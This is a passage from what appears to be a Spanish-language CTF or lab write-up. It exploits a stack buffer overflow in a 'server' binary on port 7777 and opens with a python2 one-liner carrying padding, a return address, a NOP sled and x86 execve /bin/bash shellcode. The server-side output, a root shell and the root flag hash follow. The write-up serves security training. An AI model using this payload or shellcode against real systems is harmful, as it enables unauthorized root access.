python2 -c 'print b"A"*76 + b"\xb0\xd3\xff\xff" + b"\x90"*200 + b"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"' | ./sender <IP> 7777

NOTA:

Podremos ver shell's en hexadecimal en la siguiente pagina:

URL = Pagina Shell-Storm

Info:

Conectado al servidor en 172.17.0.3:7777
Introduce los datos para enviar: Datos enviados: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������j
                X�Rfh-p��Rjhh/bash/bin��RQS��

Y si nos vamos donde teniamos el binario server escuchando, veremos que hemos obtenido una shell como el usuario root:

Servidor escuchando en el puerto 7777...
Conexión aceptada de 172.17.0.1:53472
Datos recibidos: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������j
                                                                                                                                             X�Rfh-p��Rjhh/bash/bin��RQS��

Procesado: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������j
                                                                                                                                       X�Rfh-p��Rjhh/bash/bin��RQS��

bash-5.2# whoami
root

Por lo que leeremos la flag de root.

root.txt

7b99571a3a54ade50fec6091cb42e9ab

Last updated